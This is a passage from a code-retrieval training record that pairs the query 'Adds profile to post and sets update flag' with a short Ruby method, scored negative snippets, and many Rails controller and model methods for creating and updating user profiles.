puts \"CREANDO USAURIO\"\n add_role(:customer) if roles.blank?\n unless self.phone.blank?\n CreateStripeCustomerJob.perform_later(self)\n puts \"ENVIANDO 2\"\n self.create_and_send_verification_code\n end\n end", "def default_role\n\t\t\tself.roles << Role.find_by_name(\"ong\")\n\t\t\tself.save\n\t\tend", "def set_defaults\n self.verified = true\n end", "def set_defaults\n unless persisted? \n self.active ||= false\n self.complete ||= false\n self.start_on ||= Date.today\n self.finished_on ||= Date.today + 1\n end\n end", "def create_current_account\n if current_usuario.present?\n account = Account.new\n account.usuario_id = current_usuario.id\n account.status = true\n account.balance = 0\n account.save\n end\nend", "def set_default_role\n\n\t\tself.role ||= :user\n\n\tend", "def activate_account!\n update_attribute :is_active, true\n end", "def open_user_account\n Account.create(user_id: self.id) \t\n end", "def set_default_role\n self.role ||= :user\n end", "def set_attr_for_create\n self.agreement_status ||= 0 #unsigned\n self.trans_type = TRANS_TYPE[:AccountSetup]\n self.acct_open_date = Date.today\n self.last_trans_date = Date.today\n log_event(\"Customer\", self.id, \"Account Created\")\n end", "def set_AccountName(value)\n set_input(\"AccountName\", value)\n end", "def set_AccountName(value)\n set_input(\"AccountName\", value)\n end", "def set_default_password\r\nself.password = :random\r\nend", "def new?\n self.account.nil?\n end", "def set_defaults\n self.active = self.active.nil? ? true : self.active\n end", "def user_create(name='admin', is_admin=true)\n key = \"#{name}:#{is_admin}\"\n UserCache.instance[key] ||= User.find_or_create_by_name(name) do |u|\n u.email_address = \"#{u.name}@concord.org\"\n u.password = u.password_confirmation = \"#{u.name}pAsS\"\n u.state = 'active'\n u.administrator = is_admin\n end\nend", "def default_user\n self.rol = :user if rol.nil?\n self.image = \"avatar.jpg\" if self.image.nil?\n end", "def create_default_location\n location = self.account.locations.find_or_create_by_name('default')\n self.update_attribute(:location_id, location.id)\n end", "def set_defaults\n self.active = self.active.nil? ? true : self.active\n end", "def set_defaults\n self.active = self.active.nil? ? true : self.active\n end", "def set_defaults\n self.active = self.active.nil? ? true : self.active\n end", "def set_default\n @manager.set_default(@entity['id']) if @manager.respond_to?(:set_default)\n end" ]
[ "0.71875703", "0.6926933", "0.6569838", "0.6523224", "0.6505293", "0.6360575", "0.6339988", "0.6300126", "0.62328976", "0.6231819", "0.62196255", "0.6130573", "0.61287594", "0.61264807", "0.6109155", "0.61017406", "0.61017406", "0.6088548", "0.60852414", "0.60523975", "0.6046835", "0.60400856", "0.6036511", "0.60059804", "0.6002492", "0.59981966", "0.59947324", "0.5985725", "0.59785676", "0.5966026", "0.5966026", "0.5966026", "0.5956956", "0.59512836", "0.59348017", "0.5919458", "0.5915458", "0.58959395", "0.587208", "0.5869932", "0.58681214", "0.58520895", "0.5840183", "0.58323056", "0.58261794", "0.5816804", "0.58158666", "0.5808351", "0.58019215", "0.57725483", "0.57656795", "0.57567203", "0.57567203", "0.5755544", "0.5751668", "0.5744309", "0.57342994", "0.5729414", "0.5720772", "0.5718939", "0.5714761", "0.571339", "0.5712403", "0.5705447", "0.5701012", "0.56984746", "0.56961846", "0.5695678", "0.56870943", "0.5683976", "0.5683976", "0.5683976", "0.5683976", "0.56678146", "0.5666498", "0.56602395", "0.5653944", "0.5653328", "0.56378984", "0.563753", "0.5627672", "0.5621629", "0.56194127", "0.5613406", "0.56057525", "0.56034225", "0.55935735", "0.55881083", "0.55797863", "0.55797863", "0.5579274", "0.55724686", "0.55664873", "0.5565561", "0.5561764", "0.55479103", "0.5545212", "0.5545212", "0.5545212", "0.5535879" ]
0.7921206
0
Adds profile to post and sets update flag
def add_profile(post, profile) post[:profile] = profile post[:profileupdate] = 'Y' end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update_profile(body={})\n perform_post(\"/account/update_profile.json\", :body => body)\nend", "def set_post\n @profile = Profile.find(params[:id])\n end", "def update_profile(body)\n post(\"user/#{user_id}/profile.json\", body)\n end", "def update_profile(options={})\n perform_post(\"account/update_profile.#{Twitter.format}\", options)\n end", "def add_to_profile(profile_name:, profile_data:)\n Faraday.post \"#{@@profile_service_url}/profile/#{profile_name}\", profile_data\n rescue StandardError => e\n puts \"Error adding to profile : #{e.message}\"\n end", "def set_profile(profile_contents)\n path = self.api_root + '/register/profile'\n process_firecloud_request(:post, path, profile_contents.to_json)\n end", "def update!(**args)\n @profile_name = args[:profile_name] if args.key?(:profile_name)\n @profile_photo_url = args[:profile_photo_url] if args.key?(:profile_photo_url)\n @profile_url = args[:profile_url] if args.key?(:profile_url)\n @takedown_url = args[:takedown_url] if args.key?(:takedown_url)\n end", "def create\n @profile = Profile.find params[:profile_id]\n @update = @profile.updates.new(update_params)\n\n respond_to do |format|\n if @update.save\n format.html { redirect_to update_path(@update), notice: 'Update was successfully created.' }\n format.json { render :show, status: :created, location: @update }\n else\n format.html { render :new }\n format.json { render json: @update.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_tag_profile\n # body = {\n # cmd: \"update_tag_profile\"\n # }\n\n end", "def add_profile(userinput)\n profile = Profile.create(name:userinput)\n profile.user_id = self.id\n profile.save\n profile\n end", "def update\n if user_signed_in?\n if @profile.update(profile_params)\n render json: @profile, status: :ok\n else\n render json: @profile.errors, status: :unprocessable_entity\n end\n end\n end", "def update_profile! (data = {})\n check_auth :update\n \n response = connection.put do |req|\n req.url '/user/update'\n req.body = { :format => @format }.merge(data)\n end\n response\n end", "def update\n current_user.profile.update_attributes(profile_params)\n redirect_to '/profiles'\n end", "def update\n @profile = current_user.profile\n assign_params_to_attributes\n if @profile.update_attributes(params[:profile])\n if params[:profile][:zip].present?\n current_user.update_attribute(:zip, params[:profile][:zip])\n end\n flash[:notice] = I18n.t('profile.update.notice')\n # redirect_to user_path(current_user)\n redirect_to edit_user_profile_path(current_user, @profile)\n else\n @user = current_user\n assing_attributes_to_params\n flash.now[:error] = I18n.t('profile.update.error')\n render :action => \"edit\"\n end\n end", "def update_profile(params)\n post 'account/update_profile', :post => params\n end", "def create\n post = Post.new(post_params)\n post.author = current_user\n post.receiver = User.find(params[:profile_id])\n binding.pry\n if post.save\n respond_to do |format|\n format.html { redirect_to profile_url(post.receiver) }\n format.json { render json: post }\n end\n else\n flash[:error] = \"There was a problem creating your post!\"\n end\n end", "def add_user(profile)\n raise \"Invalid ID\" if profile[\"id\"].nil?\n response = client.post \"/profiles/?actor_token=#{CGI.escape client.system_token}&id=#{CGI.escape profile[\"id\"]}\", profile\n if response.success?\n true\n else\n raise APIException.new(response.body)\n end\n end", "def create\n # Buidles a profile in association witht eh user\n @user = User.find(current_user.id)\n @profile = @user.build_profile(params[:user])\n @profile.update_attributes(params[:profile])\n\n respond_to do |format|\n if @profile.save\n format.json { render json: @profile, status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @profile = Profile.new(profile_params)\n @profile.user_id = current_user.id\n \n \n @profile.artist = find_preferred_artist_id\n @profile.advisor = find_preferred_advisor_id\n\n respond_to do |format|\n if @profile.save\n current_user.update(clientstatus: \"free\")\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @profile = Profile.new profile_params\n unless current_user.profile\n @profile.user = current_user\n end\n\n respond_to do |format|\n if @profile.save\n if current_user.profile\n AclEntry.set current_user, @profile, :edit\n end\n FeedSubscription.add current_user.profile, @profile\n\n format.html { redirect_to session_path }\n format.xml { render xml: @profile, status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n format.xml { render xml: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @profile = args[:profile] if args.key?(:profile)\n @type = args[:type] if args.key?(:type)\n end", "def update\n @profile = @user.profile\n @profile.update_attributes(params[:profile])\n if params[\"starting\"] == \"pending\"\n @profile.started_on = nil\n @profile.target_completion_date = nil\n end\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to user_profile_path, notice: 'Profile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "def profiel\n if request.post? and params[:user]\n\n if @me.update_attributes(params[:user])\n # website stuff!\n if params[:user][:profile_website]\n if params[:user][:profile_website][0..6] != \"http://\" and !params[:user][:profile_website].blank?\n @me.update_attribute('profile_website', 'http://' + params[:user][:profile_website])\n end\n end\n flash.now[:notice] = \"Profiel gewijzigd\"\n end\n end\n \n end", "def update_profile(params)\n post('/account/update_profile.json', params)\n end", "def save_or_create_profile\n if profile.present?\n profile.actor_id = id\n profile.save!\n else\n create_profile\n end\n end", "def update\n respond_to do |format|\n\n if performing_follow?\n #unfollow or follow depending on what in the database\n @profile.user.toggle_followed_by(current_user)\n\n\n\n elsif @profile.update(profile_params)\n format.html { redirect_to @profile, notice: 'Profile was successfully updated.' }\n format.json { render :show, status: :ok, location: @profile }\n else\n format.html { render :edit }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n\n end", "def update_profile(user)\n create_feed(user, {:title => 'Profile changed', :description => \"#{create_link(user)}'s changed his profile\"})\n end", "def update\n respond_to do |format|\n if @profile.update(profile_params)\n @profile.photo.data.blank? ? @profile.photo.update_attributes(photo_type: 2) : @profile.photo.update_attributes(photo_type: 1)\n\n current_user.user_tries.last.state_machine.transition_to(:pending)\n format.html { redirect_to root_path, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :ok, location: @profile }\n else\n format.html { render :edit }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "def new_profile?\n @profile = Profile.new(params[:profile])\n @profile.user = current_user\n @profile.email = current_user.email\n end", "def add_profile(opts)\n opts = check_params(opts,[:profiles])\n super(opts)\n end", "def update\n @profile = @user.profile \n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n flash[:notice] = t('profiles.new.success')\n format.html { redirect_to(@user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @profile.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @profile = Profile.new(profile_params)\n @profile.user_id = current_user.id\n\n respond_to do |format|\n if @profile.save\n good_change(format, :created)\n else\n bad_change(format, :new)\n end\n end\n end", "def update\n\n if @usertype == 'dataentry'\n dataentry = Dataentry.find_by_authentications_id(@id)\n dataentry.firstname = params['firstname']\n dataentry.lastname = params['lastname']\n dataentry.profile = params['profile']\n dataentry.institution = params['institution']\n dataentry.save\n redirect_to '/profile'\n #TODO: Update the flash message to show that the profile is updated or not.\n else\n redirect_to '/'\n end\n end", "def update!(**args)\n @limited_profile_settings = args[:limited_profile_settings] if args.key?(:limited_profile_settings)\n @metadata = args[:metadata] if args.key?(:metadata)\n end", "def create\n @profile = Profile.new(params[:profile])\n authorize! :update, @profile\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render json: @profile, status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "def edit\n @title = \"Edit Profile\"\n @user = current_user\n @user.profile ||= Profile.new\n @profile = @user.profile\n if param_posted?(:profile)\n if @user.profile.update_attributes(params[:profile])\n flash[:notice] = \"Changes saved.\"\n # redirect_to :controller => \"profile\", :action => \"index\"\n end\n end\n end", "def update_profile\n @profile = @account.employee\n \n if params[:profile].present?\n @profile.assign_attributes(profile_params)\n @profile.save\n redirect_to gns_core.my_profile_backend_accounts_path, flash: {success: 'Profile has been updated successfully.'}\n else\n redirect_to gns_core.my_profile_backend_accounts_path, flash: {error: 'Profile update failed. Please try again!'}\n end\n end", "def create\n assign_params_to_attributes\n @profile = Profile.new(params[:profile])\n @profile.user_id = current_user.id\n if @profile.save\n flash[:notice] = I18n.t('profile.create.notice')\n redirect_to user_path(current_user)\n else\n @user = current_user\n assing_attributes_to_params\n flash.now[:error] = I18n.t('profile.create.error')\n render :action => \"new\"\n end\n end", "def create\n params[:profile][:tag_list] = params[:profile][:tag_list]\n @profile = Profile.new(profile_params)\n @profile.user_id = current_user.id\n\n # Store friendly profile URI\n current_user.profile_uri = getUniqueURI(current_user) \n current_user.save\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to profile_path(@profile), notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "def profile\n current_user.update(user_params)\n current_user.avatar.attach(params[:user][:avatar]) if params[:user][:avatar].present?\n end", "def add_profile(profile)\n @profiles.push(profile)\n end", "def user_updated_profile user\n data = {\n category: 'Users',\n action: 'Updated Profile',\n label: user.email,\n value: nil,\n bounce: true,\n }\n\n create_event data\n end", "def update\n\t\t@user = current_user\n\t\t@profile = @user.profile\n\t\[email protected]_columns(profile_params)\n\t\trespond_with @profile \n\tend", "def create\n @presenter = find_presenter\n if @presenter.presenter_profile.nil?\n new_profile = profile_params\n new_profile[:bio_edit] = sanitize_bio(new_profile[:bio_edit])\n @presenter_profile = @presenter.build_presenter_profile(new_profile)\n #submit to admin for approval\n if params[:submit]\n @presenter_profile.status = :pending_admin\n if @presenter_profile.save\n flash[:info] = \"Profile submitted to admin for approval\"\n notify_admin_profile_changes(@presenter)\n redirect_to root_url\n else\n render 'new'\n end\n #save draft\n else\n @presenter_profile.status = :new_profile\n if @presenter_profile.save\n flash[:info] = \"Profile draft saved. Go to edit profile to continue editing.\"\n redirect_to root_url\n else\n render 'new'\n end\n end\n else\n redirect_to edit_presenter_profile_path(@presenter)\n end \n end", "def update\n @profile.update(profile_params)\n respond_with(@profile)\n end", "def create_profile\n new_profile = Profile.new\n new_profile.user_id = self.id\n new_profile.save!\n end", "def profile\r\n if request.post?\r\n @customer.update_attributes :email => params[:customer][:email], :phone => params[:customer][:phone]\r\n @store_user.my_account_log(@customer,\"Update Profile Email: #{@customer.email} Phone: #{@customer.phone}\")\r\n @customer.update_ax\r\n end\r\n end", "def create\n @profile = Profile.new(params[:profile])\n @profile.profile_id = UUIDTools::UUID.timestamp_create().to_s\n @profile.user_id = current_user.id\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to users_profile_index_path, notice: t(:profile_successfully_created) }\n format.json { render json: @profile, status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_profile_to_role\n profile_id = params[:profile_id]\n role_id = params[:role_id]\n pr = ProfileRole.where(:role_id => role_id, :profile_id => profile_id)\n response = Hash.new\n if (!pr.empty?)\n # this profile already had this role\n response[:message] = \"This Profile Already has this role!\"\n response[:success] = false\n else\n response[:success] = true\n profileRole = ProfileRole.new\n profileRole[:role_id] = role_id\n profileRole[:profile_id] = profile_id\n profileRole.save\n # create a new one\n view = render_to_string \"roles/_role_profile_item.haml\", :layout => false, :locals => { :role => profileRole.role, :profile => profileRole.profile}\n response[:view] = view\n end\n respond_to do |format|\n format.json {\n render json: response\n }\n end\n end", "def update_profile_info\n info = provider_class.profile_info\n self.update_attributes(info)\n end", "def create\n @profile = Profile.new(profile_params)\n\n @user = current_user\n\n @user.profile = @profile\n @profile.save\n\n\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to profile, notice: 'Profile was successfully created.' }\n format.json { render :show, profile: :created, location: profile }\n @profile.create(profile_image: image)\n\n else\n format.html { render :new }\n format.json { render json: status.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @profile = Profile.new(profile_params)\n @profile.user = current_user\n @profile.save\n \n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @profile.update_attributes params[:profile]\n @profile.user.index!\n format.html { redirect_to get_stored_location, :notice => t('profile.profile_updated') }\n else\n format.html { render :action => :edit }\n end\n end\n end", "def update\n\t\t# Updating the details according the that particular profile\n\t\[email protected]_attributes(profile_params)\n\t\t# Redirect to the particular surgeon profile show page\n\t\tredirect_to profile_path(@profile)\n\tend", "def update\n @profile = Profile.find(current_user.id)\n @profile.update_attributes(params[:profile])\n respond_with @profile\n end", "def update\n # @profile = Profile.find(profile_params[:id])\n @user = current_user\n @profile = @user.profile\n # @user.profile = @profile\n # redirect_to(profile_path)\n\n # @user.update(user_params) #from the private method below - whitelist check\n\n \n\n respond_to do |format|\n if @profile.update(profile_params)\n\n format.html { redirect_to @profile, notice: 'Profile was successfully updated.' }\n format.json { render :show, status: :ok, location: @profile }\n else\n format.html { render :edit }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @profile.update(req_params)\n redirect_to show_path, notice: 'Profile was successfully updated.'\n else\n respond_with_submission_error(@profile.errors.messages, edit_path)\n end\n end", "def profile_update(auth_user, auth_pass, new_pass)\n req_path = current_resource.path + '.rw.userprops.html'\n\n payload = { '_charset_' => 'utf-8' }\n\n # Add new password if needed\n payload = payload.merge(\n 'rep:password' => new_pass,\n ':currentPassword' => auth_pass\n ) if password_update?(new_pass)\n\n # Update user profile if any change was detected\n payload = payload.merge(\n profile_payload_builder\n ) unless profile_diff.empty?\n\n # Update user status\n payload = payload.merge(status_payload) if status_update?\n\n http_post(\n new_resource.instance,\n req_path,\n auth_user,\n auth_pass,\n payload\n )\n end", "def save\n\t\tbegin\n\t\t\tuser_profile = self.profile\n\t\t\tUser.create(\n\t\t\t\t:user_id => id,\n\t\t\t\t:login_name => username,\n\t\t\t\t:email => email,\n\t\t\t\t:join_tsz => created,\n\t\t\t\t:transaction_buy_count => user_profile.transaction_buy_count,\n\t\t\t\t:transaction_sold_count => user_profile.transaction_sold_count,\n\t\t\t\t:is_seller => user_profile.is_seller,\n\t\t\t\t:location => user_profile.lon ? [user_profile.lon, user_profile.lat] : nil,\n\t\t\t\t:image_url => user_profile.image,\n\t\t\t\t:country_id => user_profile.country_id,\n\t\t\t\t:gender => user_profile.gender,\n\t\t\t\t:oauth_token => nil,\n\t\t\t\t:oauth_token_secret => nil,\n\t\t\t\t:authenticated => false,\n\t\t\t\t:shop_id => @shop_id\n\t\t\t)\n\t\trescue NoMethodError\n\t\t\t# fairly rare at this point.\n\t\t\tputs \"associated_profile bug\"\n\t\tend\n\tend", "def update\n current_user.update(user_params_with_profile_picture)\n\n expose current_user\n end", "def create\n if current_user.profile.nil?\n profile = Profile.new(profile_params)\n profile.user = current_user\n if profile.save\n redirect_to profiles_path\n return\n end\n end\n redirect_to profiles_path\n end", "def update!(**args)\n @profile_picture_option = args[:profile_picture_option] if args.key?(:profile_picture_option)\n end", "def update\n begin\n @profile.update!(metadata_profile_params)\n rescue => e\n render partial: \"shared/validation_messages\",\n locals: { object: @profile.errors.any? ? @profile : e },\n status: :bad_request\n else\n toast!(title: \"Profile updated\",\n message: \"The metadata profile \\\"#{@profile.name}\\\" has been \"\\\n \"updated.\")\n render \"shared/reload\"\n end\n end", "def set_user_profile\n @user_profile = @user.user_profile\n @user_profile = @user.create_user_profile if @user_profile.nil?\n end", "def user_params_update\n params.permit(:name, :profile_id)\n end", "def update\n # puts \"profile_params: #{profile_params[:sport_ids]}\"\n\n respond_to do |format|\n begin\n if current_user != @profile.user\n performing_follow?\n @profile.user.toggle_followed_by(current_user)\n # the next two lines are all about the redirecting or the 'resheshing' of a page so that you can see the result of follow and unfollow without having to refresh.\n format.html { redirect_to @profile.user }\n format.json { render :show, status: :ok, location: @profile }\n end\n\n @profile.update(profile_params)\n # add skill objects and save to db\n # profile_params[:sport_ids].each do |sport_id|\n # Skill.create!(profile_id: @profile.user.id, sport_id: sport_id)\n # end\n format.html { redirect_to profile_url, notice: 'Profile was successfully updated.' }\n format.json { render :show, status: :ok, location: @profile }\n rescue\n format.html { render :edit }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "def save_profile(params)\n self.attributes = params\n self.status = :submitting\n if self.valid?\n self.current_stage = :education_stage\n self.save\n return true\n end\n false\n end", "def create\n current_user.profile = Profile.new(params[:profile])\n @profile = current_user.profile\n\n if [email protected]?\n flash[:error_created] = @profile.errors.full_messages.join(\"<br>\").html_safe\n redirect_to new_user_profile_path(current_user)\n else\n respond_to do |format|\n if @profile.save\n format.html { redirect_to user_profile_path(current_user), notice: 'Profile was successfully created.' }\n format.json { render json: @profile, status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end \n end\n end", "def update\n # render :text => \"<pre>#{params.to_yaml}</pre>\" and return\n @profile = Profile.find(params[:id])\n # @profile = Profile.find_or_create_by_user_id(@user.id)\n unless params.empty?\n @profile.update_attributes(params[:profile])\n @profile.user.update_attributes(params[:user])\n end\n respond_to do |format|\n if @profile.errors.empty? && @profile.user.errors.empty?\n flash[:notice] = 'Profile was successfully updated.'\n format.html { redirect_to(@profile) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @profile.errors + @profile.user.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @profile = Profile.new(profile_params)\n \n @profile.user_id = current_user.id\n @profile.full_name = @profile.first_name + @profile.last_name\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, :notice => t('alerts.profiles.create') }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "def setProfile\n p = Profile.new\n p.slug = self.firstname + self.lastname\n self.profile = p \n self.save\n end", "def update_profile_photo_and_photo_id_status\n self.profile_photo_status = SadhakProfile.profile_photo_statuses.pp_pending\n self.photo_id_status = SadhakProfile.photo_id_statuses.pi_pending\n end", "def create\n @profile = current_user.profiles.build(profile_params)\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render action: 'show', status: :created, location: @profile }\n else\n format.html { render action: 'new' }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @profile = Profile.new(profile_params)\n @profile.user_id = current_user.id\n\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @profile = Profile.find(params[:id])\n\n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n current_user.admin? ? true : params[:profile][:id] = current_user.id\n format.html { redirect_to @profile, notice: 'Profile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @profile = Profile.find(params[:id])\n\n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n current_user.admin? ? true : params[:profile][:id] = current_user.id\n format.html { redirect_to @profile, notice: 'Profile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "def assign_default_profile(args = {}) \n put(\"/profiles.json/#{args[:profileId]}/default\", args)\nend", "def create\n @profile = Profile.new(profile_params)\n @profile.user = current_user\n respond_to do |format|\n if @profile.save\n format.html { redirect_to manage_profile_path(@profile), notice: 'Profile was successfully created.' }\n format.json { render action: 'show', status: :created, location: @profile }\n else\n format.html { render action: 'new' }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_profile\n @profile = @user.profile\n end", "def create\n @profile = Profile.new(profile_params)\n\n @profile.user = current_user\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to root_path, notice: t('controller.profiles.create.success') }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n \n unless current_user == @post.user\n return\n end\n \n unless params[:post][:public].nil?\n @post.public = params[:post][:public]\n end\n \n unless params[:post][:random_token].nil?\n @post.random_token = params[:post][:random_token]\n end\n \n set_burn_date\n \n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.json { render :json => get_json, :callback => params[:callback] }\n else\n format.json { render :json => @post.errors,\n :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n\t\[email protected]_id = current_profile.id\n\t\trespond_to do |format|\n if @post.save\n format.html { \n\t\t\t\t\tflash[:success] = \"New post created!\"\n\t\t\t\t\tredirect_to profile_path(current_profile)\n\t\t\t\t}\n format.json { render :show, status: :created, location: @post }\n else\n\t\t\t\tformat.js {}\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @profile = current_user.profile || Profile.new\n @profile.user_id = current_user.id\n @profile.status = :start\n @profile.save(validate: false)\n session[:profile_id] = @profile.id\n redirect_to vendor_setup_store_index_path\n end", "def update_profile_setting\n\t if !params[:profile_setting].present?\n\t\t\tredirect_to user_profile_data_profile_path \n\t\telse\n\t\t\t# creating the award by using the award params\n\t\t\tprofile_setting = @user.update(update_profile_setting_params)\n\t\t\t# redirect to the profile app page\n\t\t\tredirect_to user_profile_data_profile_path\n\t\tend\n\tend", "def create\n # Ensure that we have the right user\n @user = User.find( params[:user_id] )\n # Create profile linked to this specific user\n @profile = @user.build_profile( profile_params )\n @profile.save\n if @profile.save\n flash[:success] = \"Profile updated!\"\n # TODO: Redirect to profile page, once there is one. \n redirect_to user_path(params[:user_id])\n else\n # TODO: don't dump the user's inputs if save to database fails. \n render action: :new\n end\n end", "def create\n\n @profile = Profile.new(profile_params)\n @profile.user = current_user\n\n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @kind = args[:kind] if args.key?(:kind)\n @post = args[:post] if args.key?(:post)\n @post_user_info = args[:post_user_info] if args.key?(:post_user_info)\n end", "def create\n @profil = Profil.new(profil_params)\n @profil.user_id = current_user.id\n @user = current_user\n\n # Only increment profilestatus if not done yet\n if Profil.where(user_id: current_user).blank?\n @user.increment!(:profilstatus)\n end\n\n respond_to do |format|\n if @profil.save\n format.html { redirect_to @profil, notice: 'Profil erfolgreich erstellt.' }\n format.json { render :show, status: :created, location: @profil }\n else\n format.html { render :new }\n format.json { render json: @profil.errors, status: :unprocessable_entity }\n end\n end\n end", "def confirm!\n # add if else here in case user already existed and is updating/changing data (email etc),\n # shouldn't add_profile again if profile already exists. can determine with a user db 'nil' value...\n unless self.profile\n add_profile\n end\n super\n end", "def create\n @profile = Profile.new(profile_params)\n @profile.user_id = current_user.id\n\n if @profile.save!\n redirect_to profile_path(@profile.id)\n else\n render :new\n end\n end", "def update\n @user = User.find(current_user.id)\n @profile = @user.profile\n \n if @profile = params[:profile]\n redirect_to user_profile_path(current_user.name)\n else\n redirect_to edit_user_profile_path\n end\n end", "def update\n respond_to do |format|\n if @user.update(profile_params.except(:about_attach)) && @user.handle_about_attach(profile_params[:about_attach])\n format.html { redirect_to my_profile_path, notice: 'Profile was successfully updated.' }\n # format.json { head :no_content }\n else\n format.html { render action: 'my_profile' }\n # format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @profile = Profile.new(params[:profile])\n @profile.user_id = current_user.id\n authorize! :create, @profile\n \n respond_to do |format|\n if @profile.save\n format.html { redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render json: @profile, status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "def user_profile_params\n params.require(:user_profile).permit(:user_id, :post_id)\n end", "def create\n @profile = Profile.new(params[:profile])\n @profile.user = current_user\n respond_to do |format|\n if @profile.save\n flash[:notice] = t('profiles.new.success')\n format.html { redirect_to(@user) }\n format.xml { render :xml => @profile, :status => :created, :location => @user }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @profile.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n \n @user.profile = Profile.new(params[:profile])\n if params[:goal_worth]\n @goal = @user.goals.create do |g|\n g.goal_type = \"recurring\"\n g.started_on = Date.today\n g.name = \"What my time is worth\"\n g.goal_amount_score = params[:goal_worth].to_i\n end\n else\n @goal = nil\n end\n \n respond_to do |format|\n \n if @user.profile && @goal\n \n format.html { redirect_to user_profiles_path, notice: 'Profile was successfully created.' }\n format.json { render json: @profile, status: :created, location: @profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @profile = Profile.find_by_user_id(current_user.id)\n\n if @profile.update_attributes(params[:profile])\n flash[:notice] = \"Personal info saved sucessfuly\"\n else\n error_messages(@profile)\n end\n\n redirect_to edit_profile_path\n end", "def update\n @profile = current_user.profile\n\n respond_to do |format|\n if @profile.update_attributes(params[:profile])\n format.html { redirect_to @profile, :notice => 'Profile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @profile.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n authorize @profile\n respond_to do |format|\n if @profile.update(profile_params)\n format.html { redirect_to quit_user_profile_path , notice: \"Profile: #{I18n.t('helpers.saved')}\" }\n format.json { render :show, status: :ok, location: @profile }\n else\n format.html { render :edit }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @profile = Profile.new(profile_params)\n @profile.user = current_user\n respond_to do |format|\n if @profile.save\n format.html { 